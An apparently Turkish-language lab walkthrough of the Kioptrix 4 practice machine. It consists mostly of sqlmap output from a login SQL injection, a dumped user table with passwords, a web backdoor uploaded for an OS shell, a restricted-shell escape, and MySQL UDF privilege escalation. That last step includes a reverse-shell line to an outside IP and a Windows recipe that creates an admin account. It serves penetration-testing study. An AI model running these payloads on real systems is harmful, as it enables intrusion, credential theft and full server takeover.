[20:34:19] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[20:34:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:34:19] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:34:19] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[20:34:21] [INFO] testing 'Generic UNION query (44) - 21 to 40 columns'
[20:34:21] [INFO] testing 'Generic UNION query (44) - 41 to 60 columns'
[20:34:21] [INFO] testing 'Generic UNION query (44) - 61 to 80 columns'
[20:34:21] [INFO] testing 'Generic UNION query (44) - 81 to 100 columns'
[20:34:21] [INFO] testing 'MySQL UNION query (44) - 1 to 20 columns'
[20:34:22] [INFO] testing 'MySQL UNION query (44) - 21 to 40 columns'
[20:34:22] [INFO] testing 'MySQL UNION query (44) - 41 to 60 columns'
[20:34:22] [INFO] testing 'MySQL UNION query (44) - 61 to 80 columns'
[20:34:22] [INFO] testing 'MySQL UNION query (44) - 81 to 100 columns'
[20:34:23] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[20:34:23] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 410 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: myusername=john&mypassword=-2262' OR 9060=9060-- bdOi&Submit=Login
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: myusername=john&mypassword=' AND (SELECT 4860 FROM (SELECT(SLEEP(5)))DpBy)-- lDjm&Submit=Login
---
[20:34:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, PHP, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[20:34:24] [INFO] fetching database names
[20:34:24] [INFO] fetching number of databases
[20:34:24] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[20:34:24] [INFO] retrieved: 3
[20:34:24] [INFO] retrieved: information_schema
[20:34:29] [INFO] retrieved: members
[20:34:30] [INFO] retrieved: mysql
available databases [3]:
[*] information_schema
[*] members
[*] mysql
[20:34:32] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.10.250.143'
[*] ending @ 20:34:32 /2021-05-22/
Harika! Burp'tede başarılıbir şekilde şifreleri görebiliyordum. Ancak şimdi sqlmap ile db'leri okuyacağım.
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# sqlmap -r istek.txt --level=5 --risk=3 --dbs -dbms="Mysql" --batch -D members -T members --dump 2 ⨯
___
__H__
___ ___[.]_____ ___ ___ {1.5.2#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:36:12 /2021-05-22/
[20:36:12] [INFO] parsing HTTP request from 'istek.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[20:36:12] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: myusername=john&mypassword=-2262' OR 9060=9060-- bdOi&Submit=Login
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: myusername=john&mypassword=' AND (SELECT 4860 FROM (SELECT(SLEEP(5)))DpBy)-- lDjm&Submit=Login
---
[20:36:12] [INFO] testing MySQL
[20:36:12] [INFO] confirming MySQL
[20:36:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.0
[20:36:12] [INFO] fetching database names
[20:36:12] [INFO] fetching number of databases
[20:36:12] [INFO] resumed: 3
[20:36:12] [INFO] resumed: information_schema
[20:36:12] [INFO] resumed: members
[20:36:12] [INFO] resumed: mysql
available databases [3]:
[*] information_schema
[*] members
[*] mysql
[20:36:12] [INFO] fetching columns for table 'members' in database 'members'
[20:36:12] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[20:36:12] [INFO] retrieved:
got a 302 redirect to 'http://10.10.250.143:80/login_success.php?username=john'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] N
3
[20:36:12] [INFO] retrieved: id
[20:36:13] [INFO] retrieved: username
[20:36:14] [INFO] retrieved: password
[20:36:17] [INFO] fetching entries for table 'members' in database 'members'
[20:36:17] [INFO] fetching number of entries for table 'members' in database 'members'
[20:36:17] [INFO] retrieved: 2
[20:36:17] [INFO] retrieved: 1
[20:36:17] [INFO] retrieved: MyNameIsJohn
[20:36:20] [INFO] retrieved: john
[20:36:21] [INFO] retrieved: 2
[20:36:22] [INFO] retrieved: ADGAdsafdfwt4gadfga==
[20:36:26] [INFO] retrieved: robert
Database: members
Table: members
[2 entries]
+----+-----------------------+----------+
| id | password | username |
+----+-----------------------+----------+
| 1 | MyNameIsJohn | john |
| 2 | ADGAdsafdfwt4gadfga== | robert |
+----+-----------------------+----------+
[20:36:28] [INFO] table 'members.members' dumped to CSV file '/root/.local/share/sqlmap/output/10.10.250.143/dump/members/members.csv'
[20:36:28] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.10.250.143'
[*] ending @ 20:36:28 /2021-05-22/
Ve daha sonrasında --os--shell denedim. Görüldüğü üzere başarılı oldum. Artık hak yükseltmem gerekecek.
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# sqlmap -r istek.txt --level=5 --risk=3 --dbs -dbms="Mysql" --batch -D members -T members --dump --os-shell
___
__H__
___ ___[.]_____ ___ ___ {1.5.2#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:40:02 /2021-05-22/
[20:40:02] [INFO] parsing HTTP request from 'istek.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[20:40:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: myusername=john&mypassword=-2262' OR 9060=9060-- bdOi&Submit=Login
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: myusername=john&mypassword=' AND (SELECT 4860 FROM (SELECT(SLEEP(5)))DpBy)-- lDjm&Submit=Login
---
[20:40:02] [INFO] testing MySQL
[20:40:02] [INFO] confirming MySQL
[20:40:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.0
[20:40:02] [INFO] fetching database names
[20:40:02] [INFO] fetching number of databases
[20:40:02] [INFO] resumed: 3
[20:40:02] [INFO] resumed: information_schema
[20:40:02] [INFO] resumed: members
[20:40:02] [INFO] resumed: mysql
available databases [3]:
[*] information_schema
[*] members
[*] mysql
[20:40:02] [INFO] fetching columns for table 'members' in database 'members'
[20:40:02] [INFO] resumed: 3
[20:40:02] [INFO] resumed: id
[20:40:02] [INFO] resumed: username
[20:40:02] [INFO] resumed: password
[20:40:02] [INFO] fetching entries for table 'members' in database 'members'
[20:40:02] [INFO] fetching number of entries for table 'members' in database 'members'
[20:40:02] [INFO] resumed: 2
[20:40:02] [INFO] resumed: 1
[20:40:02] [INFO] resumed: MyNameIsJohn
[20:40:02] [INFO] resumed: john
[20:40:02] [INFO] resumed: 2
[20:40:02] [INFO] resumed: ADGAdsafdfwt4gadfga==
[20:40:02] [INFO] resumed: robert
Database: members
Table: members
[2 entries]
+----+-----------------------+----------+
| id | password | username |
+----+-----------------------+----------+
| 1 | MyNameIsJohn | john |
| 2 | ADGAdsafdfwt4gadfga== | robert |
+----+-----------------------+----------+
[20:40:02] [INFO] table 'members.members' dumped to CSV file '/root/.local/share/sqlmap/output/10.10.250.143/dump/members/members.csv'
[20:40:02] [INFO] going to use a web backdoor for command prompt
[20:40:02] [INFO] fingerprinting the back-end DBMS operating system
[20:40:02] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[20:40:02] [INFO] retrieved the web server document root: '/var/www'
[20:40:02] [INFO] retrieved web server absolute paths: '/var/www/checklogin.php'
[20:40:02] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[20:40:02] [INFO] the file stager has been successfully uploaded on '/var/www/' - http://10.10.250.143:80/tmpugudv.php
[20:40:02] [WARNING] unable to upload the file through the web file stager to '/var/www/'
[20:40:02] [WARNING] backdoor has not been successfully uploaded through the file stager possibly because the user running the web server process has not write privileges over the folder where the user running the DBMS process was able to upload the file stager or because the DBMS and web server sit on different servers
do you want to try the same method used for the file stager? [Y/n] Y
[20:40:02] [INFO] the backdoor has been successfully uploaded on '/var/www/' - http://10.10.250.143:80/tmpbcthz.php
[20:40:02] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: 'www-data'
os-shell> ls
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
checklogin.php
database.sql
images
index.php
john
login_success.php
logout.php
member.php
robert
tmpbcthz.php
tmpugudv.php
---Biraz makine içerisinde gezindikten sonra mysql servisinin rroot hakları ile çalıştığını farkettim.
os-shell> ps aux | grep root
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
root 1 0.0 0.3 2844 1696 ? Ss 21:55 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S< 21:55 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S< 21:55 0:00 [migration/0]
root 4 0.0 0.0 0 0 ? S< 21:55 0:00 [ksoftirqd/0]
root 5 0.0 0.0 0 0 ? S< 21:55 0:00 [watchdog/0]
root 6 0.0 0.0 0 0 ? S< 21:55 0:00 [events/0]
root 7 0.0 0.0 0 0 ? S< 21:55 0:00 [khelper]
root 41 0.0 0.0 0 0 ? S< 21:55 0:00 [kblockd/0]
root 44 0.0 0.0 0 0 ? S< 21:55 0:00 [kacpid]
root 45 0.0 0.0 0 0 ? S< 21:55 0:00 [kacpi_notify]
root 174 0.0 0.0 0 0 ? S< 21:55 0:00 [kseriod]
root 213 0.0 0.0 0 0 ? S 21:55 0:00 [pdflush]
root 214 0.0 0.0 0 0 ? S 21:55 0:00 [pdflush]
root 215 0.0 0.0 0 0 ? S< 21:55 0:00 [kswapd0]
root 257 0.0 0.0 0 0 ? S< 21:55 0:00 [aio/0]
root 1473 0.0 0.0 0 0 ? S< 21:55 0:00 [ata/0]
root 1476 0.0 0.0 0 0 ? S< 21:55 0:00 [ata_aux]
root 1485 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_0]
root 1488 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_1]
root 1504 0.0 0.0 0 0 ? S< 21:55 0:00 [ksuspend_usbd]
root 1508 0.0 0.0 0 0 ? S< 21:55 0:00 [khubd]
root 2366 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_2]
root 2492 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_3]
root 2493 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_4]
root 2494 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_5]
root 2495 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_6]
root 2496 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_7]
root 2497 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_8]
root 2498 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_9]
root 2499 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_10]
root 2500 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_11]
root 2501 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_12]
root 2502 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_13]
root 2503 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_14]
root 2504 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_15]
root 2505 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_16]
root 2506 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_17]
root 2507 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_18]
root 2508 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_19]
root 2509 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_20]
root 2510 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_21]
root 2511 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_22]
root 2512 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_23]
root 2513 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_24]
root 2514 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_25]
root 2515 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_26]
root 2516 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_27]
root 2517 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_28]
root 2518 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_29]
root 2519 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_30]
root 2520 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_31]
root 2521 0.0 0.0 0 0 ? S< 21:55 0:00 [scsi_eh_32]
root 2727 0.0 0.0 0 0 ? S< 21:55 0:00 [kjournald]
root 2894 0.0 0.1 2236 720 ? S<s 21:55 0:00 /sbin/udevd --daemon
root 3215 0.0 0.0 0 0 ? S< 21:55 0:00 [kgameportd]
root 3250 0.0 0.0 0 0 ? S< 21:55 0:00 [btaddconn]
root 3251 0.0 0.0 0 0 ? S< 21:55 0:00 [btdelconn]
root 3398 0.0 0.0 0 0 ? S< 21:55 0:00 [kpsmoused]
root 4695 0.0 0.0 1716 488 tty4 Ss+ 21:55 0:00 /sbin/getty 38400 tty4
root 4697 0.0 0.0 1716 488 tty5 Ss+ 21:55 0:00 /sbin/getty 38400 tty5
root 4703 0.0 0.0 1716 492 tty2 Ss+ 21:55 0:00 /sbin/getty 38400 tty2
root 4707 0.0 0.0 1716 492 tty3 Ss+ 21:55 0:00 /sbin/getty 38400 tty3
root 4711 0.0 0.0 1716 492 tty6 Ss+ 21:55 0:00 /sbin/getty 38400 tty6
root 4763 0.0 0.1 1872 540 ? S 21:55 0:00 /bin/dd bs 1 if /proc/kmsg of /var/run/klogd/kmsg
root 4784 0.0 0.1 5316 988 ? Ss 21:55 0:00 /usr/sbin/sshd
root 4840 0.0 0.1 1772 528 ? S 21:55 0:00 /bin/sh /usr/bin/mysqld_safe
root 4882 0.4 6.4 127252 33336 ? Sl 21:55 0:26 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock
root 4884 0.0 0.1 1700 560 ? S 21:55 0:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
root 4957 0.0 0.2 6528 1320 ? Ss 21:55 0:00 /usr/sbin/nmbd -D
root 4959 0.0 0.4 10108 2524 ? Ss 21:55 0:00 /usr/sbin/smbd -D
root 4973 0.0 0.2 8084 1352 ? Ss 21:55 0:00 /usr/sbin/winbindd
root 4977 0.0 0.2 8084 1164 ? S 21:55 0:00 /usr/sbin/winbindd
root 5005 0.0 0.1 2104 888 ? Ss 21:55 0:00 /usr/sbin/cron
root 5027 0.0 1.2 20464 6188 ? Ss 21:55 0:00 /usr/sbin/apache2 -k start
root 5049 0.0 0.2 8092 1272 ? S 21:55 0:00 /usr/sbin/winbindd
root 5053 0.0 0.1 8084 872 ? S 21:55 0:00 /usr/sbin/winbindd
root 5056 0.0 0.1 10108 1028 ? S 21:55 0:00 /usr/sbin/smbd -D
root 5086 0.0 0.0 1716 488 tty1 Ss+ 21:55 0:00 /sbin/getty 38400 tty1
www-data 5637 0.0 0.0 1772 484 ? R 23:41 0:00 sh -c ps aux | grep root 2>&1?
---
os-shell>
Aynı zamanda mysql servisinde root'un şifresi yok.
os-shell> cat checklogin.php
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name
// Connect to server and select databse.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");
// Define $myusername and $mypassword
$myusername=$_POST['myusername'];
$mypassword=$_POST['mypassword'];
// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);
//$mypassword = stripslashes($mypassword);
$myusername = mysql_real_escape_string($myusername);
//$mypassword = mysql_real_escape_string($mypassword);
//$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";
$result=mysql_query("SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'");
//$result=mysql_query($sql);
// Mysql_num_row is counting table row
$count=mysql_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row
if($count!=0){
// Register $myusername, $mypassword and redirect to file "login_success.php"
session_register("myusername");
session_register("mypassword");
header("location:login_success.php?username=$myusername");
}
else {
echo "Wrong Username or Password";
print('<form method="link" action="index.php"><input type=submit value="Try Again"></form>');
}
ob_end_flush();
?>
---Belirli bir notadan sonra tıkandım ve kullanıcılar ile ssh servisne yöneldim. /etc/passwd dosyasına baktığımda kullanıcıların lshell isimli bir kabuk kullandıklarını gördüm. Bunu internette araştırdığımda bir exploit olduğunu farkettim ancak sürümler benimki ile uyuşmuyordu. Yineden exploiti okuyup inceledim.
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# searchsploit lshell
---------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------- ---------------------------------
Horde 3.3.5 - '/Administration Interface admin/sqlshell.php?PAT | php/webapps/33408.txt
LShell 0.9.15 - Remote Code Execution | linux/remote/39632.py
---------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# locate linux/remote/39632.py
/usr/share/exploitdb/exploits/linux/remote/39632.py
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# cp /usr/share/exploitdb/exploits/linux/remote/39632.py .
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# head -n 20 39632.py
import paramiko
import traceback
from time import sleep
#
# Exploit lshell pathing vulnerability in <= 0.9.15.
# Runs commands on the remote system.
# @dronesec
#
if len(sys.argv) < 4:
print '%s: [USER] [PW] [IP] {opt: port}'%(sys.argv[0])
sys.exit(1)
try:
print '[!] .............................'
print '[!] lshell <= 0.9.15 remote shell.'
print '[!] note: you can also ssh in and execute \'/bin/bash\''
print '[!] .............................'
print '[!] Checking host %s...'%(sys.argv[3])
...Dikkatimi çeken kısım : cmd = 'echo import(\'os\').system(\'%s\')'%(cmd.replace(' ',r'\t')) kısmı.Daha onra acaba gerçekten kısıtlı shellden çıkabilir miyim diye düşündüm. cat /bin/kshell dediğimde birde projenin python ile yazıldığını görünce daha da heycanlandım.
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# ssh [email protected]
[email protected]'s password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$
john:~$
john:~$ echo __import__('os').system('/bin/sh')
$
$
$ whoami
john
Gayet heycanlı gidiyor. Şimdi mysql'e bağlanalım. Ancak öncesinde biraz özetlemek istiyorum çünkü çok dağınık göründüğünü düşünüyorum. sqlmap ile --os-shell ile shell bağlantısı buldum. cat /etc/passwd ile kullanıcıları ve bu kullanıcıların shell'lerini gördüm. O esnada john kullanıcısı için john:x:1001:1001:,,,:/home/john:/bin/kshell ifadesi yer alıyordu. cat /bin/kshell ile okuma işlemi yaptım ve bunun python ile yazıldığını gördüm. Çıkan kodlar içerisinde """ calls lshell function """ satırını farketti. Bunun üzerine searchsploit lshell ile linux/remote/39632.py exploitini elde ettim ve echo import('os').system('/bin/sh') satırını elde ettim. Daha sonrası kısıtlı shell'den çıkma oldu. Şimdi devam edelim.
Mysql'e bağlanmak istiyorum çünkü udf'ler ile ki bunun ne anlama geldiğini bilmiyorsanız araştırmanızı öneririm, kendimde gelecek sürede bununla ilgili ayrıntılı bir yazı yazacağım. Kısaca eğer root kullanıcısı elimizdeyse işletim sistemi zerinde komut çalıştırabildiğimiz mysql fonksiyonları gibi çalışan yapılarımız vardır. Bunlara udf denir. Kötüye kullanmak için aşağıadaki yöntemler uygulanır.
windows:
USE mysql;
CREATE TABLE potato(line blob);
INSERT INTO potato values(load_file('C://Users//Bob//Desktop//lib_mysqludf_sys.dll'));
SELECT * FROM mysql.potato INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user hacker Password123! /add");
SELECT sys_exec("net localgroup Administrators hacker /add");Linux:
mysql> use mysql;
mysql> create table potato(line blob);
mysql> insert into potato values(load_file('/tmp/lib_mysqludf_sys.so'));
mysql> select * from potato into dumpfile '/usr/lib/lib_mysqludf_sys.so';
mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
mysql> select sys_exec('bash -i >& /dev/tcp/192.168.1.99/443 0>&1');Evet şimdi başlayalım. İlk olarak bizim .so dosyasına ihtiyacımızvar. Bu dosya sqlmap içerisinde bulunmaktadır. Kolayca kali üzerinden elde edebiliriz.
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# locate sqlmap | grep udf | grep so | grep mysql
/usr/share/sqlmap/data/udf/mysql/linux/32/lib_mysqludf_sys.so_
/usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
Görüldüğü üzere .so_ şeklinde dosya uzantılarımız var. Bu dosyalar sqlmap tarafından encode edilmiştir. bunlaro cloak.py dosyası ile decode etemiz gerekecektir. Bu işlem sonucunda hedef sunucuya dosyalarımızı kopyalayabiliriz.
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# locate sqlmap | grep cloak.py 1 ⨯
/usr/share/sqlmap/extra/cloak/cloak.py
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# python3 /usr/share/sqlmap/extra/cloak/cloak.py
Usage: /usr/share/sqlmap/extra/cloak/cloak.py [-d] -i <input file> [-o <output file>]
cloak.py: error: Missing the input file, -h for help
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# python3 /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o mysql2root.so Evet hazırız! Şimdi kısıtlı shell'den kurtulduğumuz john kullanıcısına ait shell ekranına gelelim ve /tmp klasörüne gidelim. Kendi shell ekranımızda bir web sunucusu başlatalım ve mysql2root.so dosyasını hedef sunucuya kopyalayalım.
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
bash-3.2$ cd tmp
bash-3.2$ ls
bash-3.2$ cd /tmp
bash-3.2$ ls
bash-3.2$ pwd
/tmp
bash-3.2$ wget http://10.10.250.140:8000/mysql2root.so
--21:23:49-- http://10.10.250.140:8000/mysql2root.so
=> `mysql2root.so'
Connecting to 10.10.250.140:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5,696 (5.6K) [application/octet-stream]
100%[=========================================================================>] 5,696 --.--K/s
21:23:49 (853.71 MB/s) - `mysql2root.so' saved [5696/5696]
bash-3.2$ ls
mysql2root.so
Harika! Yolun sonuna geliyor gibiyiz. Şimdi mysql'e bağlanalım.
bash-3.2$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 19
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| members |
| mysql |
+--------------------+
3 rows in set (0.00 sec)
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create table potato(line blob);
Query OK, 0 rows affected (0.03 sec)
mysql> insert into potato values(load_file('/tmp/mysql2root.so'));
Query OK, 1 row affected (0.00 sec)
mysql> select * from potato into dumpfile '/usr/lib/mysql2root.so';
Query OK, 1 row affected (0.11 sec)Gördüğünüz üzere udf ile shell almaya çalışıyordum. Ancak sonrasında şöyle garip bir şey oldu.
mysql> create function sys_exec returns integer soname 'mysql2root.so';
ERROR 1125 (HY000): Function 'sys_exec' already exists
mysql>
already exists mi? Nasıl yani?
mysql> show tables;
+---------------------------+
| Tables_in_mysql |
+---------------------------+
| columns_priv |
| db |
| func |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| potato |
| proc |
| procs_priv |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+---------------------------+
18 rows in set (0.00 sec)
mysql> select * from func;
+-----------------------+-----+---------------------+----------+
| name | ret | dl | type |
+-----------------------+-----+---------------------+----------+
| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function |
| sys_exec | 0 | lib_mysqludf_sys.so | function |
+-----------------------+-----+---------------------+----------+
2 rows in set (0.01 sec)
mysql>
Zaten yüklüymüş. Peki. Kaldığımız yerden devam edelim...
mysql> select sys_exec('usermod -a -G root john');
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 1
Current database: mysql
+-------------------------------------+
| sys_exec('usermod -a -G root john') |
+-------------------------------------+
| NULL |
+-------------------------------------+
1 row in set (0.09 sec)
john kullanıcısını root grubuna ekledik. Kontrol edelim.
mysql> exit
Bye
bash-3.2$ id
uid=1001(john) gid=1001(john) groups=1001(john)
bash-3.2$ cat /etc/group
group group-
bash-3.2$ cat /etc/group
root:x:0:john
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:loneferret
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:loneferret
fax:x:21:
voice:x:22:
cdrom:x:24:loneferret
floppy:x:25:loneferret
tape:x:26:
sudo:x:27:
audio:x:29:loneferret
dip:x:30:loneferret
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:loneferret
sasl:x:45:
plugdev:x:46:loneferret
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
libuuid:x:101:
dhcp:x:102:
syslog:x:103:
klog:x:104:
scanner:x:105:
nvram:x:106:
fuse:x:107:loneferret
mysql:x:108:
crontab:x:109:
mlocate:x:110:
ssh:x:111:
sambashare:x:112:loneferret
winbindd_priv:x:113:
loneferret:x:1000:
lpadmin:x:114:loneferret
admin:x:115:loneferret
john:x:1001:
robert:x:1002:
Harika! Makine bitmiştir!
bash-3.2$ cd /root
bash-3.2$ ls
congrats.txt lshell-0.9.12
bash-3.2$ cat congrats.txt
Congratulations!
You've got root.
There is more then one way to get root on this system. Try and find them.
I've only tested two (2) methods, but it doesn't mean there aren't more.
As always there's an easy way, and a not so easy way to pop this box.
Look for other methods to get root privileges other than running an exploit.
It took a while to make this. For one it's not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.
If you haven't already, check out the other VMs available on:
www.kioptrix.com
Thanks for playing,
loneferret
İlk Yorumu Siz Yapın